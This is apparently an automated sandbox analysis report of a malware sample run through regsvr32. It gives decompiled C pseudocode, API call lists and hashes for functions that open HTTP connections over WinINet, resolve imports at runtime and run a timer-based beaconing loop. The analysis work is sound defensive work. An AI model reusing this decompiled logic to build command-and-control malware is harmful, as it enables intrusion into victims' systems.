                    0x00d83ec9
                    0x00d83ece
                    0x00d83edb
                    0x00d83ee1
                    0x00d83eed
                    0x00d83ef3
                    0x00d83ef4
                    0x00d83ef9
                    0x00d83eff
                    0x00d83f05
                    0x00d83f0c
                    0x00d83f13
                    0x00d83f19
                    0x00d83f20
                    0x00d83f24
                    0x00d83f2f
                    0x00d83f34
                    0x00d83f3a
                    0x00d83f43
                    0x00d83f43
                    0x00d83f54
                    0x00d83f5a
                    0x00d83f5a
                    0x00d83f64
                    0x00d83f64
                    0x00d83f72
                    0x00d83f72
                    0x00d83f83
                    0x00d83f83
                    0x00d83f91
                    0x00d83f91
                    0x00d83fa2

                    APIs
                    • RtlAllocateHeap.NTDLL ref: 00D83D08
                    • GetTickCount.KERNEL32 ref: 00D83D1C
                    • wsprintfA.USER32 ref: 00D83D6B
                    • wsprintfA.USER32 ref: 00D83D88
                    • wsprintfA.USER32 ref: 00D83DA9
                    • wsprintfA.USER32 ref: 00D83DC1
                    • wsprintfA.USER32 ref: 00D83DE4
                    • HeapFree.KERNEL32(00000000,00000000), ref: 00D83DF4
                    • wsprintfA.USER32 ref: 00D83E16
                    • HeapFree.KERNEL32(00000000,00000000), ref: 00D83E26
                    • wsprintfA.USER32 ref: 00D83E5E
                    • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 00D83E79
                    • GetTickCount.KERNEL32 ref: 00D83E89
                    • RtlEnterCriticalSection.NTDLL(050E95C0), ref: 00D83E9D
                    • RtlLeaveCriticalSection.NTDLL(050E95C0), ref: 00D83EBB
                      • Part of subcall function 00D86675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D866A0
                      • Part of subcall function 00D86675: lstrlen.KERNEL32(00000000,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D866A8
                      • Part of subcall function 00D86675: strcpy.NTDLL ref: 00D866BF
                      • Part of subcall function 00D86675: lstrcat.KERNEL32(00000000,00000000), ref: 00D866CA
                      • Part of subcall function 00D86675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,00D83ECE,?,7491C740,00D83ECE,00000000,050E9600), ref: 00D866E7
                    • StrTrimA.SHLWAPI(00000000,00D89280,00000000,050E9600), ref: 00D83EED
                      • Part of subcall function 00D87563: lstrlen.KERNEL32(050E9BD0,00000000,00000000,00000000,00D83EF9,00000000), ref: 00D87573
                      • Part of subcall function 00D87563: lstrlen.KERNEL32(?), ref: 00D8757B
                      • Part of subcall function 00D87563: lstrcpy.KERNEL32(00000000,050E9BD0), ref: 00D8758F
                      • Part of subcall function 00D87563: lstrcat.KERNEL32(00000000,?), ref: 00D8759A
                    • lstrcpy.KERNEL32(00000000,?), ref: 00D83F0C
                    • lstrcpy.KERNEL32(00000000,?), ref: 00D83F13
                    • lstrcat.KERNEL32(00000000,?), ref: 00D83F20
                    • lstrcat.KERNEL32(00000000,00000000), ref: 00D83F24
                      • Part of subcall function 00D821A6: WaitForSingleObject.KERNEL32(00000000,74CF81D0,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00D82258
                    • HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 00D83F54
                    • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 00D83F64
                    • RtlFreeHeap.NTDLL(00000000,00000000,00000000,050E9600), ref: 00D83F72
                    • HeapFree.KERNEL32(00000000,?), ref: 00D83F83
                    • RtlFreeHeap.NTDLL(00000000,00000000), ref: 00D83F91
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Heap$Freewsprintf$lstrcatlstrlen$lstrcpy$AllocateCountCriticalSectionTickTrim$EnterLeaveObjectSingleWaitstrcpy
                    • String ID:
                    • API String ID: 186568778-0
                    • Opcode ID: 7f8b227b1e64266b2295804c8ac5b4bd85f009ee45b766739fea725da3790651
                    • Instruction ID: 254fa007ed65eb5ee5fa4f251acfa5fe3f317d3a29f22862096de4551df8a84a
                    • Opcode Fuzzy Hash: 7f8b227b1e64266b2295804c8ac5b4bd85f009ee45b766739fea725da3790651
                    • Instruction Fuzzy Hash: 0671BF71410304AFD721ABA8EC49EAB7BF8EB88710B090516F949D7331D732E905DB76
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D87B83 Relevance: 19.6, APIs: 13, Instructions: 126networkstringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 92%
                    			E00D87B83(void* __eax, void* __ecx, long __esi, char* _a4) {
				void _v8;
				long _v12;
				void _v16;
				void* _t34;
				void* _t38;
				void* _t40;
				char* _t56;
				long _t57;
				void* _t58;
				intOrPtr _t59;
				long _t65;

				_t65 = __esi;
				_t58 = __ecx;
				_v16 = 0xea60;
				__imp__( *(__esi + 4));
				_v12 = __eax + __eax;
				_t56 = E00D833DC(__eax + __eax + 1);
				if(_t56 != 0) {
					if(InternetCanonicalizeUrlA( *(__esi + 4), _t56,  &_v12, 0) == 0) {
						E00D861DA(_t56);
					} else {
						E00D861DA( *(__esi + 4));
						 *(__esi + 4) = _t56;
					}
				}
				_t34 = InternetOpenA(_a4, 0, 0, 0, 0x10000000); // executed
				 *(_t65 + 0x10) = _t34;
				if(_t34 == 0 || InternetSetStatusCallback(_t34, E00D87B18) == 0xffffffff) {
					L15:
					return GetLastError();
				} else {
					ResetEvent( *(_t65 + 0x1c));
					_t38 = InternetConnectA( *(_t65 + 0x10),  *_t65, 0x50, 0, 0, 3, 0, _t65); // executed
					 *(_t65 + 0x14) = _t38;
					if(_t38 != 0 || GetLastError() == 0x3e5 && E00D816B2( *(_t65 + 0x1c), _t58, 0xea60) == 0) {
						_t59 =  *0xd8a348; // 0x435d5a8
						_t15 = _t59 + 0xd8b845; // 0x544547
						_v8 = 0x84404000;
						_t40 = HttpOpenRequestA( *(_t65 + 0x14), _t15,  *(_t65 + 4), 0, 0, 0, 0x84404000, _t65); // executed
						 *(_t65 + 0x18) = _t40;
						if(_t40 == 0) {
							goto L15;
						}
						_t57 = 4;
						_v12 = _t57;
						if(InternetQueryOptionA(_t40, 0x1f,  &_v8,  &_v12) != 0) {
							_v8 = _v8 | 0x00000100;
							InternetSetOptionA( *(_t65 + 0x18), 0x1f,  &_v8, _t57);
						}
						if(InternetSetOptionA( *(_t65 + 0x18), 6,  &_v16, _t57) == 0 || InternetSetOptionA( *(_t65 + 0x18), 5,  &_v16, _t57) == 0) {
							goto L15;
						} else {
							return 0;
						}
					} else {
						goto L15;
					}
				}
			}














                    0x00d87b83
                    0x00d87b83
                    0x00d87b8e
                    0x00d87b95
                    0x00d87b9d
                    0x00d87ba7
                    0x00d87bad
                    0x00d87bc0
                    0x00d87bd0
                    0x00d87bc2
                    0x00d87bc5
                    0x00d87bca
                    0x00d87bca
                    0x00d87bc0
                    0x00d87be0
                    0x00d87be6
                    0x00d87beb
                    0x00d87cd4
                    0x00000000
                    0x00d87c06
                    0x00d87c09
                    0x00d87c1c
                    0x00d87c22
                    0x00d87c27
                    0x00d87c4f
                    0x00d87c62
                    0x00d87c6c
                    0x00d87c6f
                    0x00d87c75
                    0x00d87c7a
                    0x00000000
                    0x00000000
                    0x00d87c7e
                    0x00d87c8a
                    0x00d87c9b
                    0x00d87c9d
                    0x00d87cae
                    0x00d87cae
                    0x00d87cbe
                    0x00000000
                    0x00d87cd0
                    0x00000000
                    0x00d87cd0
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d87c27

                    APIs
                    • lstrlen.KERNEL32(?,00000008,74CB4D40), ref: 00D87B95
                      • Part of subcall function 00D833DC: RtlAllocateHeap.NTDLL(00000000,00000000,00D862F6), ref: 00D833E8
                    • InternetCanonicalizeUrlA.WININET(?,00000000,00000000,00000000), ref: 00D87BB8
                    • InternetOpenA.WININET(00000000,00000000,00000000,00000000,10000000), ref: 00D87BE0
                    • InternetSetStatusCallback.WININET(00000000,00D87B18), ref: 00D87BF7
                    • ResetEvent.KERNEL32(?), ref: 00D87C09
                    • InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,?), ref: 00D87C1C
                    • GetLastError.KERNEL32 ref: 00D87C29
                    • HttpOpenRequestA.WININET(?,00544547,?,00000000,00000000,00000000,84404000,?), ref: 00D87C6F
                    • InternetQueryOptionA.WININET(00000000,0000001F,00000000,00000000), ref: 00D87C8D
                    • InternetSetOptionA.WININET(?,0000001F,00000100,00000004), ref: 00D87CAE
                    • InternetSetOptionA.WININET(?,00000006,0000EA60,00000004), ref: 00D87CBA
                    • InternetSetOptionA.WININET(?,00000005,0000EA60,00000004), ref: 00D87CCA
                    • GetLastError.KERNEL32 ref: 00D87CD4
                      • Part of subcall function 00D861DA: RtlFreeHeap.NTDLL(00000000,00000000,00D86383,00000000,?,00000000,00000000), ref: 00D861E6
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: Internet$Option$ErrorHeapLastOpen$AllocateCallbackCanonicalizeConnectEventFreeHttpQueryRequestResetStatuslstrlen
                    • String ID:
                    • API String ID: 2290446683-0
                    • Opcode ID: 7575f22076609b931c88bb944dfa117f3c74000923e1b463a370f3848cd35441
                    • Instruction ID: da8b6746b1046c191f5d7d3c14a4a9d647bcdd1f3d985dbe89f9486654c432ca
                    • Opcode Fuzzy Hash: 7575f22076609b931c88bb944dfa117f3c74000923e1b463a370f3848cd35441
                    • Instruction Fuzzy Hash: 81413971500704BFDB21AFA5DD49E6B7BB9EB84B04F244929B642E21A1E631EA44DB30
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D87FC5 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209libraryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 65 d87fc5-d8802a 66 d8804b-d88075 65->66 67 d8802c-d88046 RaiseException 65->67 69 d8807a-d88086 66->69 70 d88077 66->70 68 d881fb-d881ff 67->68 71 d88088-d88093 69->71 72 d88099-d8809b 69->72 70->69 71->72 84 d881de-d881e5 71->84 73 d880a1-d880a8 72->73 74 d88143-d8814d 72->74 77 d880b8-d880c5 LoadLibraryA 73->77 78 d880aa-d880b6 73->78 75 d88159-d8815b 74->75 76 d8814f-d88157 74->76 80 d881d9-d881dc 75->80 81 d8815d-d88160 75->81 76->75 82 d88108-d88114 InterlockedExchange 77->82 83 d880c7-d880d7 GetLastError 77->83 78->77 78->82 80->84 89 d8818e-d8819c GetProcAddress 81->89 90 d88162-d88165 81->90 93 d8813c-d8813d FreeLibrary 82->93 94 d88116-d8811a 82->94 91 d880d9-d880e5 83->91 92 d880e7-d88103 RaiseException 83->92 87 d881f9 84->87 88 d881e7-d881f4 84->88 87->68 88->87 89->80 96 d8819e-d881ae GetLastError 89->96 90->89 95 d88167-d88172 90->95 91->82 91->92 92->68 93->74 94->74 97 d8811c-d88128 LocalAlloc 94->97 95->89 98 d88174-d8817a 95->98 100 d881ba-d881bc 96->100 101 d881b0-d881b8 96->101 97->74 102 d8812a-d8813a 97->102 98->89 104 d8817c-d8817f 98->104 100->80 103 d881be-d881d6 RaiseException 100->103 101->100 102->74 103->80 104->89 105 d88181-d8818c 104->105 105->80 105->89
                    C-Code - Quality: 51%
                    			E00D87FC5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0xd80000;
				_t115 = _t139[3] + 0xd80000;
				_t131 = _t139[4] + 0xd80000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0xd80000;
				_v16 = _t139[5] + 0xd80000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0xd80002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0xd8a1c0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0xd8a1c0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0xd8a1c0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0xd8a1bc; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0xd8a1c0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0xd8a1b8; // 0x0
										 *_t102 = _t125;
										 *0xd8a1b8 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0xd8a1bc; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}


































                    0x00d87fd4
                    0x00d87fea
                    0x00d87ff0
                    0x00d87ff2
                    0x00d87ff7
                    0x00d87ffd
                    0x00d88002
                    0x00d88005
                    0x00d88013
                    0x00d8801a
                    0x00d8801d
                    0x00d88020
                    0x00d88021
                    0x00d88024
                    0x00d88027
                    0x00d8802a
                    0x00d8802f
                    0x00d8803e
                    0x00000000
                    0x00d88044
                    0x00d8804e
                    0x00d88058
                    0x00d8805d
                    0x00d8805f
                    0x00d88069
                    0x00d8806c
                    0x00d8806f
                    0x00d88075
                    0x00d88077
                    0x00d88077
                    0x00d8807a
                    0x00d8807d
                    0x00d88082
                    0x00d88086
                    0x00d88099
                    0x00d8809b
                    0x00d88143
                    0x00d88143
                    0x00d8814a
                    0x00d8814d
                    0x00d88157
                    0x00d88157
                    0x00d8815b
                    0x00d881d9
                    0x00d881dc
                    0x00d881de
                    0x00d881de
                    0x00d881e5
                    0x00d881e7
                    0x00d881f1
                    0x00d881f4
                    0x00d881f7
                    0x00d881f7
                    0x00000000
                    0x00d8815d
                    0x00d88160
                    0x00d8818e
                    0x00d88198
                    0x00d8819c
                    0x00d881a4
                    0x00d881a7
                    0x00d881ae
                    0x00d881b8
                    0x00d881b8
                    0x00d881bc
                    0x00d881c1
                    0x00d881d0
                    0x00d881d6
                    0x00d881d6
                    0x00d881bc
                    0x00000000
                    0x00d88167
                    0x00d8816a
                    0x00d88172
                    0x00d88187
                    0x00d8818c
                    0x00000000
                    0x00000000
                    0x00d8818c
                    0x00000000
                    0x00d88172
                    0x00d88160
                    0x00d8815b
                    0x00d880a1
                    0x00d880a8
                    0x00d880b8
                    0x00d880bb
                    0x00d880c1
                    0x00d880c5
                    0x00d88108
                    0x00d88114
                    0x00d8813d
                    0x00d88116
                    0x00d8811a
                    0x00d88120
                    0x00d88128
                    0x00d8812a
                    0x00d8812d
                    0x00d88133
                    0x00d88135
                    0x00d88135
                    0x00d88128
                    0x00d8811a
                    0x00000000
                    0x00d88114
                    0x00d880cd
                    0x00d880d0
                    0x00d880d7
                    0x00d880e7
                    0x00d880ea
                    0x00d880fa
                    0x00000000
                    0x00d88100
                    0x00d880e1
                    0x00d880e5
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d880e5
                    0x00d880b2
                    0x00d880b6
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00d880b6
                    0x00d8808f
                    0x00d88093
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                    • RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D8803E
                    • LoadLibraryA.KERNEL32(?), ref: 00D880BB
                    • GetLastError.KERNEL32 ref: 00D880C7
                    • RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 00D880FA
                    Strings
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: ExceptionRaise$ErrorLastLibraryLoad
                    • String ID: $
                    • API String ID: 948315288-3993045852
                    • Opcode ID: e482f8e9fdc25e7dfc6265dac74cb043e15857c421e3ea2caab4c85749de1f95
                    • Instruction ID: 37390c2a18ba3d898c0f213bd52f00c83aa805cf014fec9ac1b5a5a9fb4b5740
                    • Opcode Fuzzy Hash: e482f8e9fdc25e7dfc6265dac74cb043e15857c421e3ea2caab4c85749de1f95
                    • Instruction Fuzzy Hash: 10811871A10305AFDB20DF99D888BAEB7F5FB48310F58802AE945E7350EB70E905DB60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00D86815 Relevance: 16.7, APIs: 11, Instructions: 151timememoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 183 d86815-d86847 memset CreateWaitableTimerA 184 d869c8-d869ce GetLastError 183->184 185 d8684d-d868a6 _allmul SetWaitableTimer WaitForMultipleObjects 183->185 186 d869d2-d869dc 184->186 187 d868ac-d868af 185->187 188 d86930-d86936 185->188 189 d868ba 187->189 190 d868b1 call d85251 187->190 191 d86937-d8693b 188->191 195 d868c4 189->195 196 d868b6-d868b8 190->196 193 d8694b-d8694f 191->193 194 d8693d-d86945 HeapFree 191->194 193->191 197 d86951-d8695b CloseHandle 193->197 194->193 198 d868c8-d868cd 195->198 196->189 196->195 197->186 199 d868cf-d868d6 198->199 200 d868e0-d8690d call d835d2 198->200 199->200 201 d868d8 199->201 204 d8695d-d86962 200->204 205 d8690f-d8691a 200->205 201->200 207 d86981-d86989 204->207 208 d86964-d8696a 204->208 205->198 206 d8691c-d8692c call d869e6 205->206 206->188 209 d8698f-d869bd _allmul SetWaitableTimer WaitForMultipleObjects 207->209 208->188 211 d8696c-d8697f call d863f6 208->211 209->198 212 d869c3 209->212 211->209 212->188
                    C-Code - Quality: 83%
                    			E00D86815(void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void _v48;
				long _v52;
				struct %anon52 _v60;
				char _v72;
				long _v76;
				void* _v80;
				union _LARGE_INTEGER _v84;
				struct %anon52 _v92;
				void* _v96;
				void* _v100;
				union _LARGE_INTEGER _v104;
				long _v108;
				struct %anon52 _v124;
				long _v128;
				struct %anon52 _t46;
				void* _t51;
				long _t53;
				void* _t54;
				struct %anon52 _t61;
				long _t65;
				struct %anon52 _t66;
				void* _t69;
				void* _t73;
				signed int _t74;
				void* _t76;
				void* _t78;
				void** _t82;
				signed int _t86;
				void* _t89;

				_t76 = __edx;
				_v52 = 0;
				memset( &_v48, 0, 0x2c);
				_t89 = (_t86 & 0xfffffff8) - 0x54 + 0xc;
				_t46 = CreateWaitableTimerA(0, 1, 0);
				_v60 = _t46;
				if(_t46 == 0) {
					_v92.HighPart = GetLastError();
				} else {
					_push(0xffffffff);
					_push(0xff676980);
					_push(0);
					_push( *0xd8a2e0);
					_v76 = 0;
					_v80 = 0;
					L00D882DA();
					_v84.LowPart = _t46;
					_v80 = _t76;
					SetWaitableTimer(_v76,  &_v84, 0, 0, 0, 0);
					_t51 =  *0xd8a30c; // 0x2ec
					_v76 = _t51;
					_t53 = WaitForMultipleObjects(2,  &_v80, 0, 0xffffffff);
					_v108 = _t53;
					if(_t53 == 0) {
						if(_a8 != 0) {
							L4:
							 *0xd8a2ec = 5;
						} else {
							_t69 = E00D85251(_t76); // executed
							if(_t69 != 0) {
								goto L4;
							}
						}
						_v104.LowPart = 0;
						L6:
						L6:
						if(_v104.LowPart == 1 && ( *0xd8a300 & 0x00000001) == 0) {
							_v104.LowPart = 2;
						}
						_t74 = _v104.LowPart;
						_t58 = _t74 << 4;
						_t78 = _t89 + (_t74 << 4) + 0x38;
						_t75 = _t74 + 1;
						_v92.LowPart = _t74 + 1;
						_t61 = E00D835D2( &_v96, _t75, _t89 + _t58 + 0x38, _t78,  &_v100); // executed
						_v124 = _t61;
						if(_t61 != 0) {
							goto L17;
						}
						_t66 = _v92;
						_v104.LowPart = _t66;
						if(_t66 != 3) {
							goto L6;
						} else {
							_v124.HighPart = E00D869E6(_t75,  &_v72, _a4, _a8);
						}
						goto L12;
						L17:
						__eflags = _t61 - 0x10d2;
						if(_t61 != 0x10d2) {
							_push(0xffffffff);
							_push(0xff676980);
							_push(0);
							_push( *0xd8a2e4);
							goto L21;
						} else {
							__eflags =  *0xd8a2e8; // 0x0
							if(__eflags == 0) {
								goto L12;
							} else {
								_t61 = E00D863F6();
								_push(0xffffffff);
								_push(0xdc3cba00);
								_push(0);
								_push( *0xd8a2e8);
								L21:
								L00D882DA();
								_v104.LowPart = _t61;
								_v100 = _t78;
								SetWaitableTimer(_v96,  &_v104, 0, 0, 0, 0); // executed
								_t65 = WaitForMultipleObjects(2,  &_v100, 0, 0xffffffff);
								_v128 = _t65;
								__eflags = _t65;
								if(_t65 == 0) {
									goto L6;
								} else {
									goto L12;
								}
							}
						}
						L25:
					}
					L12:
					_t82 =  &_v72;
					_t73 = 3;
					do {
						_t54 =  *_t82;
						if(_t54 != 0) {
							HeapFree( *0xd8a2d8, 0, _t54);
						}
						_t82 =  &(_t82[4]);
						_t73 = _t73 - 1;
					} while (_t73 != 0);
					CloseHandle(_v80);
				}
				return _v92.HighPart;
				goto L25;
			}
































                    0x00d86815
                    0x00d8682b
                    0x00d8682f
                    0x00d86834
                    0x00d8683b
                    0x00d86841
                    0x00d86847
                    0x00d869ce
                    0x00d8684d
                    0x00d8684d
                    0x00d8684f
                    0x00d86854
                    0x00d86855
                    0x00d8685b
                    0x00d8685f
                    0x00d86863
                    0x00d86871
                    0x00d8687f
                    0x00d86883
                    0x00d86885
                    0x00d86892
                    0x00d8689e
                    0x00d868a0
                    0x00d868a6
                    0x00d868af
                    0x00d868ba
                    0x00d868ba
                    0x00d868b1
                    0x00d868b1
                    0x00d868b8
                    0x00000000
                    0x00000000
                    0x00d868b8
                    0x00d868c4
                    0x00000000
                    0x00d868c8
                    0x00d868cd
                    0x00d868d8
                    0x00d868d8
                    0x00d868e0
                    0x00d868e6
                    0x00d868ee
                    0x00d868f7
                    0x00d868fe
                    0x00d86902
                    0x00d86907
                    0x00d8690d
                    0x00000000
                    0x00000000
                    0x00d8690f
                    0x00d86913
                    0x00d8691a
                    0x00000000
                    0x00d8691c
                    0x00d8692c
                    0x00d8692c
                    0x00000000
                    0x00d8695d
                    0x00d8695d
                    0x00d86962
                    0x00d86981
                    0x00d86983
                    0x00d86988
                    0x00d86989
                    0x00000000
                    0x00d86964
                    0x00d86964
                    0x00d8696a
                    0x00000000
                    0x00d8696c
                    0x00d8696c
                    0x00d86971
                    0x00d86973
                    0x00d86978
                    0x00d86979
                    0x00d8698f
                    0x00d8698f
                    0x00d86997
                    0x00d869a5
                    0x00d869a9
                    0x00d869b5
                    0x00d869b7
                    0x00d869bb
                    0x00d869bd
                    0x00000000
                    0x00d869c3
                    0x00000000
                    0x00d869c3
                    0x00d869bd
                    0x00d8696a
                    0x00000000
                    0x00d86962
                    0x00d86930
                    0x00d86932
                    0x00d86936
                    0x00d86937
                    0x00d86937
                    0x00d8693b
                    0x00d86945
                    0x00d86945
                    0x00d8694b
                    0x00d8694e
                    0x00d8694e
                    0x00d86955
                    0x00d86955
                    0x00d869dc
                    0x00000000

                    APIs
                    • memset.NTDLL ref: 00D8682F
                    • CreateWaitableTimerA.KERNEL32(00000000,00000001,00000000), ref: 00D8683B
                    • _allmul.NTDLL(00000000,FF676980,000000FF), ref: 00D86863
                    • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000), ref: 00D86883
                    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF,?,?,?,?,?,?,?,?,?,?,00D826E9,?), ref: 00D8689E
                    • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,00D826E9,?,00000000), ref: 00D86945
                    • CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D826E9,?,00000000,?,?), ref: 00D86955
                    • _allmul.NTDLL(00000000,FF676980,000000FF,00000002), ref: 00D8698F
                    • SetWaitableTimer.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,FF676980,000000FF,00000002,?,?,?), ref: 00D869A9
                    • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000000FF), ref: 00D869B5
                      • Part of subcall function 00D85251: StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,050E9218,00000000,?,74D0F710,00000000,74D0F730), ref: 00D852A0
                      • Part of subcall function 00D85251: HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,050E9160,?,00000000,30314549,00000014,004F0053,050E9270), ref: 00D8533D
                      • Part of subcall function 00D85251: HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,00D868B6), ref: 00D8534F
                    • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00D826E9,?,00000000,?,?), ref: 00D869C8
                    Memory Dump Source
                    • Source File: 00000003.00000002.637567617.0000000000D81000.00000020.10000000.00040000.00000000.sdmp, Offset: 00D80000, based on PE: true
                    • Associated: 00000003.00000002.637555833.0000000000D80000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637587459.0000000000D89000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637598755.0000000000D8A000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000003.00000002.637616950.0000000000D8C000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_3_2_d80000_regsvr32.jbxd
                    Similarity
                    • API ID: FreeHeapTimerWaitable$MultipleObjectsWait_allmul$CloseCreateErrorHandleLastmemset
                    • String ID:
                    • API String ID: 3521023985-0
